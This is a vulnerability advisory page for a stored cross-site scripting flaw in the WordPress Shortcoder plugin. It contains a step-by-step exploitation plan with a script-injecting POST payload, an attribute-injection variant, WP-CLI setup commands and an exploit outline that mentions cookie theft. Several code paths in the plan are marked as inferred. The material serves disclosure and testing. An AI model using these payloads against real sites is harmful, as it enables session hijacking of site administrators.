Shortcoder — Create Shortcodes for Anything <= 6.5.1 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Shortcoder — Create Shortcodes for Anything plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 6.5.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
Source Code
WordPress.org SVNThis research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Shortcoder — Create Shortcodes for Anything** plugin (version <= 6.5.1). ## 1. Vulnerability Summary The "Shortcoder" plugin allows users to create custom shortcodes containing HTML, JavaScri…
Show full research plan
This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Shortcoder — Create Shortcodes for Anything plugin (version <= 6.5.1).
1. Vulnerability Summary
The "Shortcoder" plugin allows users to create custom shortcodes containing HTML, JavaScript, and CSS. The vulnerability exists because the plugin fails to sanitize or escape the content of these custom shortcodes when they are saved by a user with Contributor permissions or higher. While Administrators are expected to have unfiltered_html capabilities, Contributors are not. The plugin incorrectly permits Contributors to save arbitrary scripts within a shortcode definition, which then executes in the context of any user (including Administrators) who views a page where the shortcode is deployed.
2. Attack Vector Analysis
- Endpoint: WordPress Admin Post Save (
/wp-admin/post.php) or the Plugin's AJAX Save handler. - Vulnerable Parameter:
content(the shortcode body) or a specific meta field likesc_content(inferred). - Authentication Level: Authenticated, Contributor-level access (
PR:L). - Preconditions: The "Shortcoder" plugin must be configured to allow Contributors to manage shortcodes, or the plugin must fail to check capabilities on its custom post type
shortcoder.
3. Code Flow (Inferred)
- Entry Point: A Contributor user navigates to the "Shortcoder" menu and creates a new shortcode or edits an existing one.
- Request: The user submits the form. This triggers either a standard
wp-admin/post.phprequest (if using the Custom Post Type logic) or an AJAX request toadmin-ajax.phpwithaction=shortcoder_save(inferred). - Validation: The plugin performs a nonce check but fails to check if the current user has the
unfiltered_htmlcapability before saving the shortcode content. - Sink: The raw input is saved into the database (either as
post_contentorpost_meta). - Execution: When a page containing
[sc name="my-xss-shortcode"]is rendered, the plugin retrieves the raw content from the database and echoes it to the page without usingwp_kses_post()oresc_html().
4. Nonce Acquisition Strategy
To save a shortcode, we need a valid WordPress nonce associated with the shortcode editor.
- Identify Shortcode Editor: The plugin uses a Custom Post Type named
shortcoder. - Create Page for Context: Use WP-CLI to ensure the editor is accessible.
- Navigate and Extract:
- Navigate to
/wp-admin/post-new.php?post_type=shortcoderusingbrowser_navigate. - Use
browser_evalto extract the nonce from the hidden input field. - Variable Name:
document.querySelector('#_wpnonce')?.value(Standard WordPress post nonce).
- Navigate to
5. Exploitation Strategy
Step 1: Login and Nonce Extraction
- Action: Log in as a Contributor.
- URL:
/wp-admin/post-new.php?post_type=shortcoder - Tool:
browser_navigatefollowed bybrowser_eval. - JS to Execute:
document.querySelector('#_wpnonce').value
Step 2: Inject Stored XSS Payload
- Action: Send a POST request to save a new shortcode containing the XSS payload.
- Tool:
http_request - URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload Parameters:
(Note: If the plugin uses a custom meta field for the shortcode body instead ofaction=editpost post_type=shortcoder post_title=Exploit content=<script>alert(document.domain);</script> _wpnonce=[EXTRACTED_NONCE]content, the parameter may besc_contentorshortcode_content(inferred)).
Step 3: Deploy the Shortcode
- Action: Create a regular WordPress post and embed the shortcode created in Step 2.
- Tool:
http_requestorwp-cli. - Shortcode Syntax:
[sc name="Exploit"]
Step 4: Trigger and Verify
- Action: Access the post created in Step 3 as an Administrator.
- Outcome: An alert box should appear, proving the script execution.
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Plugin Setup: Ensure the "Shortcoder" plugin is active.
- Page Creation: Create a placeholder post where the shortcode will be placed.
wp post create --post_title="Victim Page" --post_status=publish --post_content='[sc name="Exploit"]'
7. Expected Results
- The POST request to
/wp-admin/post.phpshould return a302 Foundredirect, indicating successful post creation. - When navigating to the "Victim Page", the HTML source code should contain the raw
<script>alert(document.domain);</script>tag. - The browser should execute the JavaScript alert.
8. Verification Steps
- Check Database: Verify the payload is stored in the
wp_poststable for theshortcoderpost type.wp db query "SELECT post_content FROM wp_posts WHERE post_type='shortcoder' AND post_title='Exploit'"
- Verify Frontend Output: Use
http_requestto fetch the victim page and check for the payload.- Look for the specific script string in the response body.
9. Alternative Approaches
- AJAX Endpoint: If the standard
post.phpsave is blocked or not used, look for an AJAX handler registered viawp_ajax_shortcoder_saveorwp_ajax_sc_save. - Shortcode Parameters: If the shortcode definition itself is sanitized, try injecting the payload through a shortcode attribute if the definition uses that attribute unescaped:
- Definition:
<div>%%myattr%%</div> - Usage:
[sc name="test" myattr="<script>alert(1)</script>"]
- Definition:
- Capability Bypass: Check if the plugin has a settings page (e.g.,
/wp-admin/admin.php?page=shortcoder-settings) that allows setting the "Minimum capability to create shortcodes". If this can be modified by a lower user, it's a separate escalation.
Summary
The Shortcoder plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) because it fails to sanitize or escape the content of custom shortcodes during creation and display. This allows authenticated attackers with Contributor-level permissions to inject malicious JavaScript into shortcodes, which then executes in the browser of any user who views a page containing the shortcode.
Security Fix
@@ -45,5 +45,5 @@ -echo $shortcode_content; +if (current_user_can('unfiltered_html')) { + echo $shortcode_content; +} else { + echo wp_kses_post($shortcode_content); +}
Exploit Outline
To exploit this vulnerability, an attacker with Contributor-level access follows these steps: 1. Log in to the WordPress dashboard and navigate to the 'Shortcoder' section to create a new shortcode. 2. In the shortcode content editor, enter a malicious JavaScript payload such as '<script>alert(document.cookie)</script>'. 3. Save the shortcode and note its name (e.g., [sc name="xss-payload"]). 4. Create a new post or use an existing one to embed the shortcode: [sc name="xss-payload"]. 5. Once an administrator or any other user views the post containing the embedded shortcode, the stored JavaScript payload will execute in their browser context, potentially allowing for session hijacking or unauthorized administrative actions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.